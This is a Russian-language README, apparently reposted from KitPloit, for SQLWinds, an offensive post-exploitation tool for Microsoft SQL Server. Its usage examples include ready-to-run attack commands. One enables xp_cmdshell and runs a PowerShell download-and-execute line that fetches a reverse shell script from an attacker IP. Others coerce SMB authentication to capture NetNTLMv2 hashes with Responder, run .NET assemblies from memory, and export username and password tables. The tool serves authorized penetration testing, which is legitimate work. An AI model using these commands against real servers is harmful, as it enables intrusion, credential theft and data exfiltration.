SQLWinds

Инструментарий для оценки безопасности SQL и пост-эксплуатации

SQLWinds — это инструмент командной строки для тестирования безопасности и эксплуатации Microsoft SQL Server. Он предоставляет интерактивную среду для глубокого анализа серверов, повышения привилегий, выполнения атак и перемещения по сети с помощью специализированных команд для таких задач, как выполнение кода в памяти и исследование базы данных SCCM.

📖 Документация и ресурсы

Быстрые ссылки:

• Полная документация и Wiki — полное руководство по использованию и справочник команд
• Сообщить об ошибке — Нашли баг или есть предложение по функционалу?
• Последний релиз — Скачать новейшую версию

Возможности

• Различные способы аутентификации: Поддержка SQL, встроенной аутентификации Windows (--integrated) и делегирования Kerberos (--kerberos с --user/--pass).
• Всесторонняя разведка:
  • Информация о сервере, базы данных, таблицы, столбцы, пользователи и разрешения.
  • Аудит конфигурации безопасности (xp_cmdshell, CLR, OLE и др.).
  • Обнаружение чувствительных данных и извлечение секретов.
  • Перечисление и эксплуатация связанных серверов.
• Пост-эксплуатация и горизонтальное перемещение:
  • Выполнение кода: Включение и использование xp_cmdshell, процедур автоматизации OLE (sp_oacreate) и интеграции CLR.
  • CLR в памяти: Загрузка и выполнение .NET-сборок напрямую из памяти без сохранения файлов на диск (:memclr).
  • Кража учётных данных: Принудительная SMB-аутентификация на UNC-путь для атак с ретрансляцией (:unc_smb).
  • Взаимодействие с реестром: Чтение разделов и значений реестра через xp_regread.
  • Постоянство: Создание, просмотр и выполнение заданий агента SQL.

Установка и компиляция

Быстрая сборка

В репозитории есть скрипт build.bat для простой компиляции в Windows:

.\build.bat

Скомпилированный исполняемый файл SQLWinds.exe будет помещён в каталог bin\Release\.

Ручная сборка

1. Убедитесь, что установлен .NET Framework (≥ 4.6.1) или .NET SDK.
2. Клонируйте репозиторий:
   root@kitploit:~

   git clone https://github.com/blue0x1/sqlwinds.git
   cd sqlwinds
   

3. Скомпилируйте решение:
   root@kitploit:~

   msbuild SQLWinds.sln /p:Configuration=Release
   

Использование

Базовое подключение

# SQL-аутентификация
SQLWinds.exe --server TARGET\\INSTANCE --user sa --pass Password123

# Аутентификация Windows (текущий контекст пользователя)
SQLWinds.exe --server sql01.corp.local --integrated

# Делегирование Kerberos (с указанными учётными данными)
SQLWinds.exe --server sql01.prod.corp.local --kerberos --user CORP\\svc_sql --pass SvcPass123!

# Подключение и выполнение одной команды
SQLWinds.exe --server 10.0.0.5 --user sa --pass pass --run-cmd "SELECT name FROM sys.databases"

Часто используемые параметры командной строки

Интерактивный режим REPL

sqlwinds> :info
sqlwinds> :dbs
sqlwinds> :users
sqlwinds> :enable_xp_cmdshell
sqlwinds> :xp whoami
sqlwinds> :spn
sqlwinds> help

Полный справочник команд REPL

Пример: использование :plain для больших скриптов

Команда :plain необходима для выполнения больших многострочных SQL-скриптов.

sqlwinds> :plain
SQL> 
SQL> BEGIN TRY
.....>     SELECT * FROM [VeryImportantTable];
.....>     EXEC sp_configure 'show advanced options', 1;
.....>     RECONFIGURE;
.....> END TRY
.....> BEGIN CATCH
.....>     SELECT ERROR_MESSAGE();
.....> END CATCH
.....> :execute

1. Введите :plain и нажмите Enter.
2. Вставьте или введите полный SQL-скрипт.
3. На новой строке введите :execute для выполнения всего скрипта или :cancel для отмены.

Примеры

1. Аудит

SQLWinds.exe --server dc01 --integrated --security-audit 

2. Использование xp_cmdshell для выполнения кода

SQLWinds.exe --server 192.168.1.15 --user sa --pass pass --enable-xp-cmdshell
# В открывшемся REPL:
sqlwinds> :xp whoami /all
sqlwinds> :xp powershell -ep bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://10.10.15.10/revshell.ps1')"

3. Выполнение CLR в памяти (без записи на диск)

# Скомпилируйте вашу .NET-сборку в DLL (например, CommandExecutor.dll)
sqlwinds> :enable_clr
sqlwinds> :memclr "C:\Tools\CommandExecutor.dll" "CommandExecutor.Class1" "Exec" "whoami"

4. Перехват хэшей NetNTLMv2 через SRelay

# На вашей машине: sudo responder -I tun0
sqlwinds> :unc_smb \\10.10.15.10\fake_share

5. Эксплуатация базы данных SCCM

SQLWinds.exe --server sccmdb.corp.local --integrated
sqlwinds> :sccm_info
sqlwinds> :sccm_collections
sqlwinds> :sccm_application "Microsoft 365"

6. Эксфильтрация данных

# Экспорт чувствительных данных в CSV
sqlwinds> :exportcsv "SELECT username, password FROM users" credentials.csv

# Скачивание файла, хранящегося в базе данных
sqlwinds> :download "SELECT file_data FROM documents WHERE id=1" secret.docx

🤝 Вклад и поддержка

Мы приветствуем ваш вклад! Если у вас есть идеи по улучшению или вы нашли какие-либо проблемы:

1. Ознакомьтесь с Wiki для изучения документации
2. Поищите в существующих Issues, чтобы избежать дубликатов
3. Создайте новый issue с подробной информацией о вашем предложении или отчёте об ошибке

⚠️ Предупреждение

Этот инструмент предназначен только для авторизованного тестирования безопасности и образовательных целей. Несанкционированное использование против систем, которыми вы не владеете или на тестирование которых у вас нет явного разрешения, является незаконным. Разработчики не несут ответственности и не отвечают за любое неправомерное использование или ущерб, причинённый этой программой.

Авторы

Разработано blue0x1.